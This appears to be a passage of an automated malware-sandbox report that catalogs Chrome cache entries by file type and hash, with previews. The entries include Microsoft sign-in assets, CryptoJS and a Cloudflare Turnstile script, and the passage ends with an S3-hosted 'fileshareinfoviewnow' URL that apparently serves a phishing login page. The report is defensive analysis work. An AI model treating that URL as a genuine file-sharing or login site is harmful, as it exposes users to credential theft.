SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 57510
Category:	downloaded
Size (bytes):	16345
Entropy (8bit):	7.98960525258912
Encrypted:	false
SSDEEP:	384:hOBEj/gTOkWow6mhJqXnYI/0PiQBSoe122Yw/:hOBKJBXO586QB+11J
MD5:	187B9EBA41FDF66B2C8F7EB645D2BC17
SHA1:	B1C034F7F5F754F271D094FB417B9A820C1F712C
SHA-256:	CA0FBF8421A0CF4CCDA7310B2AE74CBD92214901EC2D0F273EA3B07F12CF96EA
SHA-512:	0D7FB682D24E97C9E3FC04AA87CCB8EC508CA0CF197DA0617EFFD981BC8B5E3600824FDD08F1F31F59D276B5BF53229D00805D984E01D512FD968610C5FE9609
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_i8f-75gfk3tbsm8bmatnqa2.js
Preview:	...........}Ms#.......\.@..'F.........3RH2....~......Q.x7...}..'.}..?e#...QU]....Vo..................?........w!......=.G...P.../......8z....q._5....g..}g..31......l*...],.b..;..`...Y....3..5.uGAi..NP.6<.w.(..`...y..d.N.x..^u.....^...?..N........Fq.....z..wgN./..Ep/f..c/.D4~X.W~).s/.E8...T...8,:..Q.p>.....7.....4....Z,&c.)n.[.pcQp...4...&...i.............CkL=.....g..m&vG..p... ....:N`y...ea.,....[......^.../D#(y.....l4.n..,.=_.p2P.....A,..RP..E.T......8 .v....Iw.X..?.r......nk....?Wj..a.\|..........JAs.j......?.)..t.z.-..m.]..3y...3@...'.)...Aa..1.kQ.....l+.....-q..n.p..{^...$..{/...=a..A...4.VH}..SBwju......S..hN.P..-..O,..S7.J,.....p.iLU.6W.....eO.7 ..C...{.E.Z...1...5s.!uY...@^. ,D".N.E......5.NE..\...VQa.A7..X.B..{.q..Ra..S....x(x7.Cp.#.#..:.......D..`,!IGr.. ...z.?.._0O.......;..0.z.h....5.../...q..5.\|..B.OY..k...].Sw.>.".@..!.9.V\|...=.dv.3!sr.....#...X8s.w.\|7..O/....!.."...3.."D..)...[........!^....3(..{...F2'..q.....x........

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	low
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47694)
Category:	downloaded
Size (bytes):	47695
Entropy (8bit):	5.401531363850578
Encrypted:	false
SSDEEP:	768:IXCtQmIutwVHbzZBF6gmXLSOzQDjdxdOQbk6sgEvk/7b39tobLKZU8nw81KZLGcD:IGJWHbzZBF6xbGfLsVvy33FU8DW
MD5:	1685878B80EECB073E51C13F17A5E530
SHA1:	0FFFA666F98F2D8C1156D46D7F9AB90C5B089AF3
SHA-256:	C61E2E1347B9ACA3D8F0C9725490470651A1F6C02841FF71F90305EA391CA6D2
SHA-512:	2B32A82A8E7E0A1F6203A04C3E7DDAE6AC3A4438B2309DC04EA112D862839902DD47D2E4A569BCB6F91E359B1F8197F3A179A206A458881A66E89860F96D526E
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/b/a6e12e96a2d5/api.js
Preview:	"use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Ht(u,o,c,g,h,"next",l)}function h(l){Ht(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46591)
Category:	dropped
Size (bytes):	142367
Entropy (8bit):	5.430597817875451
Encrypted:	false
SSDEEP:	1536:PyeDWgSr6fTPRUbx3XCg/MJA5NOii5WLeVdgWLDY2Js0VgtWyTJmxyAXP3onrGGK:IgD1g/Mq5L9EveUynbBwsIccp
MD5:	CCAA31FD031C4C856EB7B986FD9F447B
SHA1:	0A809EABCDB95FA04DE5F8409B3BC994ED65CBD1
SHA-256:	3D40B4129B8B4C284908636AE46D72EA053F286FB5FE45DB78351B5B2CFC1EB9
SHA-512:	4B5B2271DB5F640FEBF13A7C0BDBD630C73530000F1593046D090585D1752E239D894614E23E801BE4C6A379406B6EF521423FA27C3865C3CD4ABB0A64823780
Malicious:	false
Reputation:	low
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function t(t){for(var n,r,i=t[0],a=t[1],s=0,u=[];s<i.length;s++)

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 449972
Category:	downloaded
Size (bytes):	122341
Entropy (8bit):	7.997734268074267
Encrypted:	true
SSDEEP:	3072:orjhHYng1ZxwvHVE+6dOEeK8hcyo/zMr+OGstW:Uh42cHVE++OEeK8uyo/Yyj5
MD5:	0015292EAF58B4680B4A303F7C153A35
SHA1:	39C6356FC5DD37C3695D7ABDFA921EAC92BD830E
SHA-256:	C7733C6D69B9FE91B93B3C1FD3838898810C0F23017A1BF3011ECC0DB0722620
SHA-512:	DAE8CED5C0FE1D5485C59F9ACCB20375142B87060CD93040D314E38DDE1F82BBA2E66C0721096DF3F251EE1D5D77919530A9F109F38E022CF74A1802E88C6DC9
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/ConvergedLogin_PCore_h6TdaK6cfsrg175w47aRCA2.js
Preview:	...........{w.8.8.....fn..(...J.....v.g.wS..Y..ud.+.y....?.$%.SU.{.=..yT,.\|. .. ......si...S.]...K.......%\|.G.bx}..\|.=.(.....K..g%.;.c...F%/p.h.Fv......<./M.pVJ.Xi...2'.K..'Ph...T..".tiG.k...R.....M..J;...~?$. L<......\|..bVZ...J....P:..(..IR...'h$^@z...dG....4.....Z.!..5.fx.1.C.<...@._...b....4......t".....C).K..B.>...LK..YL.`zV.t.]8I57.EO.E./.....Y1...^......id..r..L.=.... ..y..._K.l.....%.'.\|.\|.[...YU.A..g....q.\....Zk.fTx.C..c....<,.U'.}p...c....s?..hx..g...q\.....zP:.g....U...).?..K..X..>..........d.8.2.,..RP..+..O6 _....nkwz...;=.j.c.....U.....0..xVx....1...~.&.sV}...s.(.3 ...s_.u...k.zw..Nu.......Tt.a......n).\|W...@.ev..Y..S....]..s..V.j..M.r.\Y..Z.n[.z...S4...oR.n..J.E...w....b\|H.-L.....c.".\.V....B..D...=..V..vjY..D.B......rb...~U2b\.....:.0.M~k;....Z_..!......5......m....k.N..&.+...Ri...T\.8`{.3.B...DL}4].:.u........`?....W`Z".S.S..<= ....Z...n."..*}..K.{8)..._..A%..L...I)UX...)y..P.V.....G.....z{K?.,............@Z..2.(..%'<B..

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	dropped
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	low
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 406986
Category:	dropped
Size (bytes):	116365
Entropy (8bit):	7.997737813291819
Encrypted:	true
SSDEEP:	1536:9IyZY3F6VvgB9lnrhw1h+WbhcNtrpUzwXkqGeKTgcao2AYvXMpclkcKAXWG8NYh:9BZ5hu91Nwz+trpGmkReMgcaQYXlkcjR
MD5:	2D3FBED6DDD719FCC1BFB500B612FCEC
SHA1:	CD91B795DDE806AC8A38E51CCB6E8BAD8E57DA1B
SHA-256:	B2566B646F02DF4CE30B05D8223B78130A719D4EC9E4794A0106C371ADE33CC7
SHA-512:	A870E514B325D6FDC4D154438A8DD333C7AB46E545C1B27AC4869D9F1D8594CA1CDC530F5E96C835220DDAD4E1CEF841673696978031B5237E783972AEE701D1
Malicious:	false
Reputation:	low
Preview:	...........k[.H.(.}..[..-..c.0DFxHBz.I......O.a...#yt......k...J..&...........^.~...._..j...W;.8<.....]....m...~.}<.8~s.~=.(....qm.Oy.~....jaP......h.F^......\|oZ.G.M-...,...a..~..GW\|...L....N.(y...Z-..Cm......p.......?.5/.QmS..b^K...jw..8.}..Q.....!.o..8...&X.x-.Im.F.D..U;.....-.T.:...1........8Ka..M.L.ZZ'....>........x....v.S;.<...0J.I.0.G.....B.F..c.k.~....C.:...r..,.w.q~....q......#42V.q..f\|.kK...1o.mP.}.......N..n.w6.%^M.d.;...~2I.Z..fs...S/......F..=?...5....s..N.+.A.mx...j.T......?..W._p6.\|.}\|.{O.....2..`..._......g....j..xb^^...a.y.....s......4....q.Y..^T....X,.....m..~v,.....WP.U...:O".YoRX...7..S...zI.v.......mq.....E.,z.%....L\|.>.M.'i..ki3.u+.~...x.=...?6.%?.[.G.`Z=.$.w..4.."...R.1.k.\|..N.`......3...7.].'.E..).az......<a....4q..6.(..=~..........frk..?M#^Q.z..A..M.f.......S....s..d.e91._,zO.[X.......4.G..!.9Vg.......j.-?~.z.w..f.M............,...Z....w5..#.^..M.P.'.X.n/..mW.\|......0...w../...>\...l.......h...q>.w...FC[....7.

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3450), with CRLF line terminators
Category:	downloaded
Size (bytes):	3452
Entropy (8bit):	5.117912766689607
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULI5m4UidBGLosqAsosushswsosry:a2IYz95qTdBac
MD5:	CB06E9A552B197D5C0EA600B431A3407
SHA1:	04E167433F2F1038C78F387F8A166BB6542C2008
SHA-256:	1F4EDBD2416E15BD82E61BA1A8E5558D44C4E914536B1B07712181BF57934021
SHA-512:	1B4A3919E442EE4D2F30AE29B1C70DF7274E5428BCB6B3EDD84DCB92D60A0D6BDD9FA6D9DDE8EAB341FF4C12DE00A50858BF1FC5B6135B71E9E177F5A9ED34B9
Malicious:	false
Reputation:	low
URL:	https://login.live.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2357
Entropy (8bit):	4.6562172362136405
Encrypted:	false
SSDEEP:	24:hPRCHVdpMqQvF/o3OtLiLJGLWEqNy7S08DOPbtwBMU9jbvYM1zJz9MG:tEij9meb9IDOjtwL9jbvYMnz2G
MD5:	DA51F3EE3A0842EFA3777561EBABF9C2
SHA1:	83D1E6047574A470501DD2DA1C668B8DD4F2FE1F
SHA-256:	10A370BD1B94B408984D4958CDB4FABD3AFF4725C10DFE2F1BA5A87C5F0C4B76
SHA-512:	FDEEC7731080A131B7ED0071CA2652602CFF50EFB6D022F8AFEC6B694F2F1D1A5B8A7E0303B844BA65DDF394F310292306721EC9764E99E1C51E2C3BB441C8BE
Malicious:	false
Reputation:	low
URL:	http://fileshareinfoviewnow.s3-website.us-east-2.amazonaws.com/
